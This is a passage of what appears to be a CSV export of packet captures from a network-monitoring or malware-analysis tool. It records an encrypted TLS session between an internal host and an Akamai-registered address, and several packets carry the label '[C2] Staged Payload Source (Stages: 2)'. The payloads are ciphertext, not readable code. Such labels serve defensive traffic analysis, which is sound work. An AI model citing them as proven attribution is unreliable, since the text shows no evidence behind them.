7ac4f44a5db2fa80ff65bd4cfe07adabeee3985251bd06677085d2cba1df36f7e67af238b1b63f28b63e8fdf4d0a78a71275db86a9d268f80e704dce47f2dcd5ea597d0aa44300283b1b0c297a603f2dd71de97273dd81c05ce29199caca02d22aeaf12a949d95492443c416ba7ca284b4e49f3003861b316807f3a3393d37ea99b7b46f559ecf002aac9f8d72a8c17e749e70f19cbd030530f91fa652cd5679d5e728397ed075ad4970418a59a9580c4ee517fb46818d0202b6b4c95737bf5d8254785e9a9f8161950af82fa03ea8f2dbcbd742486d2a9e310c03dd792de3b7b1f46ea008bff054782018bf9a64c0b44e14373518cf7a04abd69df7bcf40e2e75398c69252cf340755a4097abb743887b9416f65faea218b6a818f60bb62cac04629e135899059577d9442fad3306a5f8db1f41c8879619128d7f646158961f1f7e2e2dd6675b96944b4d20453526c7a6b692440f3c297e52b3ac09f40aad0869c17895fab94b94f00b0f142d666ffacd98dd425fcd4e5ca9c576cfa6b042948c812aefb2d721843034fe3918bdd34c690613811e9215e2f8ece13a1901ffdf85e50c47cfebd93ab85caf7809d56238eba820e4b3a953a8929ddc578db7d7eba01114257ceade6ac73a7acff5c751a88bc646a9391f78b6258422ebcb4507b373d25516c22c01d1b02cb84f478045a97fe59e5e89dc34826955a4a68688f1e118dcfcc0cde87de6534d406bccf5d32d031ed24e965838e1c8031cb205740bfa85666f6497bb753f0916a55c046cbb054f663b729f9466d591f816870d2427425ab74ace8eceeaf941a2aacb6368a8bb398c87d397159fcf6e20019b8c8db91b7414b23c51ef821fbe2fd11f795939449cec10f58bcc047db720b120d2974d86d3e115e0efddef44cf0212b953de79e18a4d8982b520bd69839814000c4b102f8b8ad58a6f299293616664c319f819c854f185716583e46b2bc2ffa64bd0454b033171cb74112a95ca2867253011f77db15cb53a3b52a83a68964f0e7d4a71e14f461f97dee00509ee8eef83145f97b5f47c6c2befaf8cde46cc9c24ba91d7dcbbae50c0374ad3bef7292342cdb8df9551bdeefbe9fa17f9fa635b04e810dbbbe093d0e758140c291157fb5f3f96aca02bbf9e4109444d219e7de009b2a2a66398b68b7b43508e77b523fb464c3300dcebd0540fb4e8ec55aa714f66fc7a4f9f1a66c41a7dd7202c85cb7da5a69c3072cc9d1e8dbe176f28df3bdeecc7d9e61f3419bc7be45b700cb589fdfdc7eaf30e2f207d80e6203c2a92743e6b26ee3744e55e04e5fa945d6c80768b7a9837d7ba76a7e59355233822abe459361c41dcb080005a515b49fdae7a766668b6843317ceb5af5aec7665c8fff0b0d19e9dd6907c9d4c9dd397d9cde5fb535388475d85a1cbaffae8b6898e7ffa44e75716a2b0400b4d40276887839cb3e74bc82e216da28c4da1984d704ea13c94525b65576ca7eae57866ef564fef3fb5731449a31282d6a6b1ed8aa67225b3880509ac1e09bd692ea143ee26faabcf9f4bd2e4b6194e9acdbdee885360e4422e75cf77b12cf3452918e2738e589e1ce5347541a9b2b05383f26875997c046a7963f59b6f9b68e71fcdef22a15d6e4db85580b72257cb98c810ad47ea2bc880997df0f75535b50a61369ae39808dbb7778afaf51ae09225f7396ee2a78a056a683284f1d40ca24c413f2adaea4650eb41c3f82595ad7a68f24e507c62e060e2622e9b3c920ab4769b52a36b3bb8b4568b99189593d3da291cf0286f37aa7e166b1af25d8bf515f743d18999012f4b6844ef1527d63210ce28001044d18c9069f45afb06954f7ed9707dff80dc4a397efa2534926dd21118510b027b03e22a8660eb77c91e19bd307ac8738624c9fd935226fbc8514c161209a41a9532c544bc6eb8a74cc5fa43daa884e7556e08c353df0bd0c61017d0564471a0fa7d099eaabd8023d80dfb4754d2ffa488795b3042e2616676c355107f9e0ebd770332d40a82a538b227be8041154dc1c95da2b43bbefd67574259091c787395033316eb54f0a45700fedbfa73404c59335d1da6706383a971f5a5b045ccbc28ba35a771889c384111cf37b3dc8de7780cd27998257f9cbd5398dabc04c9124ebb106a4696d52bbeff71b034419a9c7568a9426f23639d1d161fe2476100707fc2e379ba9448fb1be93f59341dfb1a7644eb1094d5f610dca893836b5af1b2c7d50c93fef4ad81f9c751a6037fff65a78b2496f711f9aa7d2c5a44e7379bf82ca215569caa5f7522fadfae2663d2ddf0e600207d0a9bd478f5005e751527a673740b37d940a779b2d7dfcc069309ca63de3c851924f7ce55fcc35593f56c7c313f4161128a60bcbd16a5d69d9c8a86bfa12c2af3188111a7fb52ce59bac15bbfc40985b9ec02de9b00b2c4d7247a3b33c613e0a3f1e5b5d25680a1edf61131b86ce2c713c5c4c970996fcc837147e575eb73782287484bca2eaae8986dc8976ae6379dfdd1920fd24a6e280a35246f5c9b49799e172331843d6c605f0782d20b5af2be60a1420667759e94f7b6430232acde5d4eb2244a93d3f9cc6947de6aa9a44acbc4e28711d4ce3ec4333b406175f16f52e5a0bde8849d3eedcb310538d1ec2bec0e09261e2bbd0dd61b413d029e6b4c03e9f0cfd0ceff10fc410dfcb2ed44ed7c24cacc61fb1d90b86240afbcd441cc56004ea2efa4bbf6ea12752170cc4e974830a3d24a0e6fedbfcc3c4285bd061301c74e9ec8e96043331cee9049cf26c62254056ec7babfa391e3d2022dd4ef7c161a74f70d585528e686e35f0acd9d4cc146eb3a0d876dd4532f35cdd844bab144eb6439b211f4330769408c1459c1c6adfcca22883fdfc8f7b11bb3b0cdfedd51086433c9c25a2f4e1e7c13ac9dfe6ea5a3cf5a1b89fb235ce8b58a265eab00549ccea8647bf05007383ffaf4b5de10b996fceda3bffe900f21d7829de6b0bbe71f7d530a8cff5c1b9feed992970a722f4a1bd44339208b31c665c968f98f558577cc607618ddc351c608e982af3b27625ab4317c22db119eafab452e2453bef72a37aa639d13d9b0120df3e1fcc101c516ef3d494b2f3bce39394ea2b3ef538e06379ab9e509a4a2a2f35aa690242fa0bae1b57c6b84206b59abc9114a78882f3d42236d7d4a445d90f1063c20b46efbb5f5172e0aa0ba01ac8f8c00ca2c577e7a69b78eb3a4650fef5c24eeba702305e01e7b9b93389474e082e2d2b03a73c86770ebd163fb7e7fefd1c240de6340093ed43ef63b2f13b5dce6782338abe24d307361de892907059bd264c3a1b9cf5713ec46ebcfc6679dc018b078cd2904d0eb290a8eb7eacb689df282df96e3807341f264ff6b516077cf4037250c08c904dff3c4a384293b1b0becf6b4a1bc5ca88164bf1729dd1f6d07a674a48f4b8f25efceb85776c781fb1556b87d903c75c8ca396bfc10b96937542e389a13a4d4500e2b0f4e5ff984d3d06ae4189461680d5991022fb6e7b97837562f6a5c6d4abc251394b2249d628a28b3fe3dea023f1a298e48efafcab45e458be1bbc351f6e537a8c8fabfbaf844b409e0ab35ded51efbfc90ed51c0a70bfaca98bf3af8929ced3b75053d43c0cbf7b549e2b5ddf2d71c451fe0753646b693004dd055a3309704c920d6e860acd1fb4c57c75615ed1d4f2655fe736397b5bbe3195f11bc7f5cc7a2e84fc5bc1b,\".v.<.h.\n,..GZWy.....Mf.............k......%`.w....\\.bK.V..e..b*f2.h......m........b+.M.*...._a.#...#......G.#._..q..@O......G.C..e.p{.G..N,\nV..TX5...!.=/.xC....!R.....NM[/.d..8U!.....G..T....KB.v...U.]...X:%..9.....!.c.....z[>...r6R.../....p.#H.4n...\t._5... ..#.....x..$...k...ENky..#...2n|\nO...._.3.\n}..v;CW.....].e+.>.....fv...Lr1....wb.ww ...k[\\ZS...mI..IR7..P.2..P.Y.r2....i..$..Ogz.B...a.-....\"\">.%..SW.w.p...6......3....:......h...Ly.\n.B=.Q.g...._..}..X............w.5+..Z...zoF.uL..gu.......e{.7....u........g...>.b.$..0f..C/[.1...R#.QA.Y..A.;..9]s8...a.....]SY..9......u...t..e...6....X%z...\n.m.A8.x...../..2KC....6..e&...I~..a..77fa..o.5t.k.NV.0...M.....'.8I.^........T.Y..{..a.=.Ta.^.`....u.....<;...yJ...t_P...wY..g...U.:.....\n.......C......./.......k~.0|G\"\"..L.\"\"......o..Wx.....\\#v.A..V......U\\....A(}.6....|....|........z_....../<uS*.-..{.._.U.+%.]..g..\n.c..\"\"..H...>...I:.O.v.:3..h.B....k...l.K=....W...X.;9....MN!.....i.q........_...H.2j..........5W.J..K....OLm.<I3.....K..^.9.lp7.0..X.l..!...0.<.....f..e...&]..T.3\t.-.J..W\\&...int.DB&..._g..(]n.:.\\..@0(.Sy..xl....$.W..\nAi.b .d%.e....$L....@y..j.dy..1.\"\"W.$C.......+.o\n...=G.Q.z.h.v..#......s..Pe1...I.....,....(_q=)..N ...z.....+G..-.i ..v.C.J.&W36.....,.t...#~Z4.-.j.u.\n.C..I;n...NPA'..y...S.....9.K..z..J]....e.L.......RQ..gp.....6..z.8..?(.>..M\nx..u....h..pM.G....Y}\n.C.(;..)z`?-...rs...\\.......*..*...I$C...|.....0...1h...9=7....oU...*...r..~t.p.....0...R.Vy..(9~.u.IpA.Y.X.N...F.......W7.].Tx^...a.\n./.>.....BHm*.1...y-....n....Tx ...d..N.75..z.........u9.i%,.@uZ@...C.{..._.........,..b..X...w.D/.3.....A.......daX...~.-.g[..KM E5&....D.<)~R..\t.\n..i.x...K.....-fo....B_.N\\..v...B...*...!.04.9...Li..........:.......G...:.\\.x\t.b8.. ...S....W.......%|..j.:z...Q...F.9.x.%.\"\"..E..s.U..,...,.OG.E....^..4.iU............}.SM@k...-...N.X8......t...fod..u?\t..\\.l..Of;r..f.....\n$'BZ.J.....A...ch..9.......n ......t..<Q..../..yY9D.......}. . ..M........D....S.y..M... .i.....K./....o)..afd.....T..qe..k+...K.EK.1q.t.*..(g%0..}.\\.:;R.:h.O.}Jq.OF.....\t....._...|l+....F..$......P.7J...)#B....Q........c[.........X..).W._?...+..A\tDM!.}.\t...c...{CP.w.#.FL3....T....U.qOf.zO..f..}. ,..}...0r......o(.;......4..{.[p........./ }.. <*.t>k&.7D.^....]l.v.z.7..v...U#8\"\"..Y6.A....ZQ[I..zvfh..3....Z.ve.........|.L.......SS.G]...........D.W...@.M@'h.....K..!m..M..MpN.<.R[eWl...xf.VO.?.s.I.........r%...\t..\t.i..C.&....K....N.....S`.B.u.w.,.E)..s.X...4uA...S..hu.|.jyc..o.h....\"\".]nM.U..\"\"W.....G.+...}..U5.\na6......w......%.9n....jh2.....LA?*..FP.A..%..zh.NP|b.`.b..<.\n.v.R.k;..V.......)..(o7.~.k..]....C..../KhD..'.2..(..D...i.Z...O~.p}...J9~.%4.m...Q..{..*.`.w....0z.s.$...R&..QL..\t...2.D.n..L..C....Un..S.......VDq..}\t....#.\n.GT....y[0B.afv.U.....w.2.\n..8.'..A.M..]..;..gWBY\t.xs..3..T..W....s@LY3]..pc..q...E..(.5.q..8A..7....x..y.%...S......N..jF..+..q.4A..uh.Bo#c.....Ga.p...y..H...?Y4...vD..........kZ............Q....e..$.....},ZD.7..,..V.._u\"\"...&c..... }\n..x..^u.'.st.7.@.y......\t.c.<..$..U..U..l|1?Aa..`...........,*......R.Y..[..\t..........$z;3........V.....1.l......p.o..qG.u.sx\"\".HK.....m..j.7......Jn(\n5$o\\.Iy..#1.=l`_....Z..`.B.gu....C.2..]N.$J....iG.j..J.......>.3;@au.oR......>..1.8..+..\t&.+.\n..A=..kL.........A\n...D.|$..a....b@...A.V.N.......u!p.N.H0..J.o...<B......N...`C3...I.&.\"\"T.n........-..|..t.\nXU(..._\n..L.F.:\n.m.S/5..D..D.d9...3.i@..Y.....\"\".?..........Q.d3..Z/N.|....n...Z...#\\...&^..T...d{.P.8?..............!........}S\n..\\......\nr/J..C9 .1.e.h..U.w.`v...Q.....;'bZ.1|\"\".....E.$S..*7.c.....\n........=IK/;.99N...S..7...\t....Z..$/....|k. kY...Jx./=B#m}JD]...< .n.....\n........,W~zi....e..\\$..p#...{..8.t.....:s.gp..c.~....@.c@\t>.>.;/....x#8..M0sa..)....d....W..F...g....x.)...)\n....h.......sA.d.kQ`w.@7%.........);.......\\..d..)..m..t..K.%...Wv....V.}.<u..9k...i7T.8....P.+.N_....j...ah\nY../...x7V/j\\mJ.%...$.b.(..=..?.).H....^E....Q..7......D.\t..5.......Q.......:....;u.=C....I......E..u6F...M.U.0... ..`...LW.V...O&U.sc....._...\\...O...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3944, \"\"id\"\": 39921, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38807, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616611609, \"\"ack\"\": 2473780001, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 1890, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"ad76ab3cb168e30d2cc7d1475a5779960faeaf994d661d04c78e9dbcb58f98b18491fe6b93db04bfcfbb2560da778a01cfaa5c19624bfe569b8f658cda622a66322e68ae83bbd989bf6d95e59da6f0b1eee5622b104d872ad41019bf5f61a2238aa00023e897a0f118a8478d23195f0780710ba8404f8baa9ae21aa0478543afdd6580707be547fd1f4e2c0a56c1dc5458358a871a210f3d2f007843fa118edf2152aadfedb8bc4e4d5b2ffc6401c6385521b085d4f4ee4705ff54edb10ff84b42857613eea2558f5dc2f99b583a259c8c3900bafaa19921d96314982e0ff57a5b3e1fdfca723652a9c9982ffe171c1670cd2348fb346ec7e38309975f350c00d520a9d523fe93bec6107896a024d91d8f6bb6f282454e6b791faa23a9931d326e7c0d4f1dfde8a85fcc330e0a7dfd1c763b4357d4c884dff05dc0652ba63ef916a0f4c866761c8dea4c723196d883107762e277772090b2ca6b5b5c5a53a5ae1e6d49850b4952370fcb509432dd8350e959c97232bd89e28069fbad24cd034f677ab84217d9d661182d06819af2223ebf2582e9535703771270ffccd536bf15bcd5d4a533b5b505013ac5c6b8fec5d368e5ab024c79e60dda423d9a51bd67ccc9b3c25fd81b7dea0658befe12828c11a58dbee6ef9f7791352bc8925ad1ddb77a6f4691754cb1f76775d5f2809f8f99e9657ba237ee9d0ef075c193abaea0ee1ebe67a67fea3ee462c724caf83066fff8432f5b1831ffcb865223b65141bd598e9041083bd7ea395d7338bda69a61f20ec0f4cd5d5359d7ed391719d702ca9975fb10dc74c19a65aee503362e06eac058257ab29db90d936dcc4138ed78ca11ab13972f88ba324b43c9978dcc36e3b16526a5bfcc497eb6c961e21e37376661c7b96fd13574136b874e5692308695a84dca10c7138c27ef3849155e1ce4d1b1cfd90ea754f659f4d37baa1a61f53d155461c85ea760fa0eff80757fcbb2ed903c3bda9ad9794ae7f2fd745f50bdd6d37759bbf067ecf28e55e63ad90018b3b50d80b5d405a5081d43e1e9e2d60213062f9202f4bfbbc89d6b7e9a307c4722ddd24cdd22a2aae019cd8b6ff0ee577886c401d7d35c2376e541c5a856031e12e4d9a8555cb3e3a3be41287ddc369e16a5b17c919e97ed7c8c82c3c497d5a1c37a5fec8dc1a396cf2f3c75532a1e2de3f27bc9bc5f8155bd2b25b75dead967a5c70deb63bfbc221185481beba43e8ac4e9493ade4fb1768c3a33829a68bb42f61ac2966b891cb06c154b3d9bddd3dd5707caec587f3b3981fc882e4d4e210e83d58d9169cd71c3c2e082b6bde9055fa4cbf448e9326ac0b817a8d5e9f1a4a0cf3557d54af6a04bd386b1f44f4c6d1f3c4933f1109c0fea4b16d05ead39d46c7037d330feb058ca6c8ed921bda9b1301b3c9bcca3dbdb6608b465d20f18265d93a454f43309d72d824a9c93575c26e4e0cb696e741244422687a9805f678b99285d6edc3ae15c87f5403028a053791ea5786c96faf7cb24ce57b3e70a41698c6220f764251c65dfb68dd0244cff921ef14079b5e26a9b6479cd9831cf2257f02443d1b7c2f488cce02ba56f0dcff5813d47e951be7a8c688f76d8f123d4a6841de38e732eed506531bd8f1349e1aaf60b012c9ef2a007285f713d29e78c4e201a94ae7afad4ec19c02b47c3122df66920c0d0761543a14a1326573336af7f85d1d12cdb74f513f9237e5a34c82dda6aec75010dd2439b86493b6e0502b64e504127f82e79cb008e53c9a01d1199391c4ba4f67ac4f44a5db2fa80ff65bd4cfe07adabeee3985251bd06677085d2cba1df36f7e67af238b1b63f28b63e8fdf4d0a78a71275db86a9d268f80e704dce47f2dcd5ea597d0aa44300283b1b0c297a603f2dd71de97273dd81c05ce29199caca02d22aeaf12a949d95492443c416ba7ca284b4e49f3003861b316807f3a3393d37ea99b7b46f559ecf002aac9f8d72a8c17e749e70f19cbd030530f91fa652cd5679d5e728397ed075ad4970418a59a9580c4ee517fb46818d0202b6b4c95737bf5d8254785e9a9f8161950af82fa03ea8f2dbcbd742486d2a9e310c03dd792de3b7b1f46ea008bff054782018bf9a64c0b44e14373518cf7a04abd69df7bcf40e2e75398c69252cf340755a4097abb743887b9416f65faea218b6a818f60bb62cac04629e135899059577d9442fad3306a5f8db1f41c8879619128d7f646158961f1f7e2e2dd6675b96944b4d20453526c7a6b692440f3c297e52b3ac09f40aad0869c17895fab94b94f00b0f142d666ffacd98dd425fcd4e5ca9c576cfa6b042948c812aefb2d721843034fe3918bdd34c690613811e9215e2f8ece13a1901ffdf85e50c47cfebd93ab85caf7809d56238eba820e4b3a953a8929ddc578db7d7eba01114257ceade6ac73a7acff5c751a88bc646a9391f78b6258422ebcb4507b373d25516c22c01d1b02cb84f478045a97fe59e5e89dc34826955a4a68688f1e118dcfcc0cde87de6534d406bccf5d32d031ed24e965838e1c8031cb205740bfa85666f6497bb753f0916a55c046cbb054f663b729f9466d591f816870d2427425ab74ace8eceeaf941a2aacb6368a8bb398c87d397159fcf6e20019b8c8db91b7414b23c51ef821fbe2fd11f795939449cec10f58bcc047db720b120d2974d86d3e115e0efddef44cf0212b953de79e18a4d8982b520bd69839814000c4b102f8b8ad58a6f299293616664c319f819c854f185716583e46b2bc2ffa64bd0454b033171cb74112a95ca2867253011f77db15cb53a3b52a83a68964f0e7d4a71e14f461f97dee00509ee8eef83145f97b5f47c6c2befaf8cde46cc9c24ba91d7dcbbae50c0374ad3bef7292342cdb8df9551bdeefbe9fa17f9fa635b04e810dbbbe093d0e758140c291157fb5f3f96aca02bbf9e4109444d219e7de009b2a2a66398b68b7b43508e77b523fb464c3300dcebd0540fb4e8ec55aa714f66fc7a4f9f1a66c41a7dd7202c85cb7da5a69c3072cc9d1e8dbe176f28df3bdeecc7d9e61f3419bc7be45b700cb589fdfdc7eaf30e2f207d80e6203c2a92743e6b26ee3744e55e04e5fa945d6c80768b7a9837d7ba76a7e59355233822abe459361c41dcb080005a515b49fdae7a766668b6843317ceb5af5aec7665c8fff0b0d19e9dd6907c9d4c9dd397d9cde5fb535388475d85a1cbaffae8b6898e7ffa44e75716a2b0400b4d40276887839cb3e74bc82e216da28c4da1984d704ea13c94525b65576ca7eae57866ef564fef3fb5731449a31282d6a6b1ed8aa67225b3880509ac1e09bd692ea143ee26faabcf9f4bd2e4b6194e9acdbdee885360e4422e75cf77b12cf3452918e2738e589e1ce5347541a9b2b05383f26875997c046a7963f59b6f9b68e71fcdef22a15d6e4db85580b72257cb98c810ad47ea2bc880997df0f75535b50a61369ae39808dbb7778afaf51ae09225f7396ee2a78a056a683284f1d40ca24c413f2adaea4650eb41c3f82595ad7a68f24e507c62e060e2622e9b3c920ab4769b52a36b3bb8b4568b99189593d3da291cf0286f37aa7e166b1af25d8bf515f743d18999012f4b6844ef1527d63210ce28001044d18c9069f45afb06954f7ed9707dff80dc4a397efa2534926dd21118510b027b03e22a8660eb77c91e19bd307ac8738624c9fd935226fbc8514c161209a41a9532c544bc6eb8a74cc5fa43daa884e7556e08c353df0bd0c61017d0564471a0fa7d099eaabd8023d80dfb4754d2ffa488795b3042e2616676c355107f9e0ebd770332d40a82a538b227be8041154dc1c95da2b43bbefd67574259091c787395033316eb54f0a45700fedbfa73404c59335d1da6706383a971f5a5b045ccbc28ba35a771889c384111cf37b3dc8de7780cd27998257f9cbd5398dabc04c9124ebb106a4696d52bbeff71b034419a9c7568a9426f23639d1d161fe2476100707fc2e379ba9448fb1be93f59341dfb1a7644eb1094d5f610dca893836b5af1b2c7d50c93fef4ad81f9c751a6037fff65a78b2496f711f9aa7d2c5a44e7379bf82ca215569caa5f7522fadfae2663d2ddf0e600207d0a9bd478f5005e751527a673740b37d940a779b2d7dfcc069309ca63de3c851924f7ce55fcc35593f56c7c313f4161128a60bcbd16a5d69d9c8a86bfa12c2af3188111a7fb52ce59bac15bbfc40985b9ec02de9b00b2c4d7247a3b33c613e0a3f1e5b5d25680a1edf61131b86ce2c713c5c4c970996fcc837147e575eb73782287484bca2eaae8986dc8976ae6379dfdd1920fd24a6e280a35246f5c9b49799e172331843d6c605f0782d20b5af2be60a1420667759e94f7b6430232acde5d4eb2244a93d3f9cc6947de6aa9a44acbc4e28711d4ce3ec4333b406175f16f52e5a0bde8849d3eedcb310538d1ec2bec0e09261e2bbd0dd61b413d029e6b4c03e9f0cfd0ceff10fc410dfcb2ed44ed7c24cacc61fb1d90b86240afbcd441cc56004ea2efa4bbf6ea12752170cc4e974830a3d24a0e6fedbfcc3c4285bd061301c74e9ec8e96043331cee9049cf26c62254056ec7babfa391e3d2022dd4ef7c161a74f70d585528e686e35f0acd9d4cc146eb3a0d876dd4532f35cdd844bab144eb6439b211f4330769408c1459c1c6adfcca22883fdfc8f7b11bb3b0cdfedd51086433c9c25a2f4e1e7c13ac9dfe6ea5a3cf5a1b89fb235ce8b58a265eab00549ccea8647bf05007383ffaf4b5de10b996fceda3bffe900f21d7829de6b0bbe71f7d530a8cff5c1b9feed992970a722f4a1bd44339208b31c665c968f98f558577cc607618ddc351c608e982af3b27625ab4317c22db119eafab452e2453bef72a37aa639d13d9b0120df3e1fcc101c516ef3d494b2f3bce39394ea2b3ef538e06379ab9e509a4a2a2f35aa690242fa0bae1b57c6b84206b59abc9114a78882f3d42236d7d4a445d90f1063c20b46efbb5f5172e0aa0ba01ac8f8c00ca2c577e7a69b78eb3a4650fef5c24eeba702305e01e7b9b93389474e082e2d2b03a73c86770ebd163fb7e7fefd1c240de6340093ed43ef63b2f13b5dce6782338abe24d307361de892907059bd264c3a1b9cf5713ec46ebcfc6679dc018b078cd2904d0eb290a8eb7eacb689df282df96e3807341f264ff6b516077cf4037250c08c904dff3c4a384293b1b0becf6b4a1bc5ca88164bf1729dd1f6d07a674a48f4b8f25efceb85776c781fb1556b87d903c75c8ca396bfc10b96937542e389a13a4d4500e2b0f4e5ff984d3d06ae4189461680d5991022fb6e7b97837562f6a5c6d4abc251394b2249d628a28b3fe3dea023f1a298e48efafcab45e458be1bbc351f6e537a8c8fabfbaf844b409e0ab35ded51efbfc90ed51c0a70bfaca98bf3af8929ced3b75053d43c0cbf7b549e2b5ddf2d71c451fe0753646b693004dd055a3309704c920d6e860acd1fb4c57c75615ed1d4f2655fe736397b5bbe3195f11bc7f5cc7a2e84fc5bc1b\"\"}}]\"\n2026-06-14 14:28:34.893918,18,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2473780001 Ack=616615513,bc24112907bbbc2411360d0c0800450000282fb740008006d3110a98980bb81e9d45f9c601bb9372e32124c0ce595010201432890000,\".$.)...$.6\n...E..(/.@.....\n......E.....r.!$..YP. .2...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12215, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54033, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473780001, \"\"ack\"\": 616615513, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12937, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:34.901562,19,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=616615513 Ack=2473780001,bc2411360d0cbc24112907bb0800450003319bf440004006a3cbb81e9d450a98980b01bbf9c624c0ce599372e3215018003ffb2a0000b5a9b61b698733140a3871976867de509c97901879180e11f28eb9df903912c8d4369d6520c4eb1fcc00b140085b36f6db0be25ac202a01b65049810c49484a973695b10834971cde46a13e83c4b4670d8c95c56e68a86b3046e1d84467dadf16a0d1c544907c2abbbf353d59076a50e73b5d87b9fe6a713379966fcd6a2035d1c8b6d18432394038c59a3fcc5a26b8716fe9d718e8c65fdf51bdd5b66e86470a33fc80a00724f022e6c07ebdc04d9c3ccc01bab8f54db190ac1913360aad415470acc5a55accc1c98b9bd9a920a8721b8fd1551637dfa5828b50e912883b8057968b68cea4bc3bea76540d31ebba2253989375375a29b06dec4216e5a308e042db97da3bc79131fe570a098db2efc4a4f9614371af6ad4751bdb91cc733e3d69b7e6fd171ee6a3102e98a095464ce89f22f0d1a531fe6cb95f9a59a41341eb99e2fdfa88b45d9c7a2aa6bfaa50e7c1046f67c594f846f5ded0cdb1d6ac84391f2d2c5a2b7962c012ef51d4612cc15e18aadb841ba94f630f593c8da0c61eb097dbcee9d20815f022ae1123ed389313381f1575c2b88c56f1e0a28bf7498a54828960ffe4b2e6d28f55e36cc844dacb8e1e1dda03be7e8be59b9d28c1583b6cc5e3ab699c9c070ea554e696e9296103b11c7fff3f5e2b8d8f222a65971f08ac5e80903ee2376c9d23f159db1ba3acd56715b67a1209ed229333c359e5c3f371cec24a09b86c0357c6a582af083e5695de277c5384409d681e9e3cb7b09cab60a715133cd7531164897e03f6ce8c3c0f0dd956309f0aa6c7d2c9ff8ad23ba34b94eabd3cf14e8db2a58f1f3dd7652d8d084034fc50b9fe8a7aa78ccc4775dca7a38ed256215f8ac32b34e297ad15a501980385cb379302fec69533d7217e23dbece2d3249413283f2153e9bdfe93b80121946092cfbcaa6da43cc9560856d32bcce5f89c00da86d6ddcada0834ef279b26212622b62e27ae3f88b2c5add8cbccd54cba6dfa26ce571931111462f1ab3f2ca2c98f48b89c038a59d641cc8bdc1349dec46cc681966fd130ba7c90b75566c335ef151b4b49f8b2726c4a848e1aadca3097c2694376db185,\"....i.3.\n8q.hg.P....y........9...6.e ......@.[6....Z....e.......si[..Iq..j..<KFp..\\V.....n..F}..j\n.TI.....S..v..s..{....7.f....]..m.C#...Y....k....q..e....[f.dp.?.\n.rO..l...........T..\n..3`...G\n.ZU........\n.!...Qc}.X(...(...yh...K...e@....%9.7Su.....!nZ0..-.}..y...p.....JO..7...GQ....3...~o.q.j1...\tTd.../\n.S.......A4.../...E....k...|.F.|YO.o]....j.C.......,....F.......A...0.....a.\t}... ._.*..>..13..W\\+..o.\n(.t..H(...K.m(.^6..M......;...Y.......^:....p.UNin...;.........\"\".Yq....\t..#v..?....:.Vq[g. ..)3<5.\\?7..$....5|jX*...i].w.8D\t.....{\t..\nqQ3.u1.H..?l......c\t..l},...#.4.N......*X...vR....O......x..w].z8.%b...2.N)z.ZP..8\\.y0/.iS=r..=..-2IA2...>...;...F\t,....C..`.m2.._..\n.mm....N.y.b.b+b.z...,Z....T....l.q...F/....,.....8..d....4..F.h.f......uVl3^.Q....'&..H....\t|&.7m..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 817, \"\"id\"\": 39924, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41931, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616615513, \"\"ack\"\": 2473780001, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 64298, \"\"urgptr\"\": 0, \"\"options\"\": 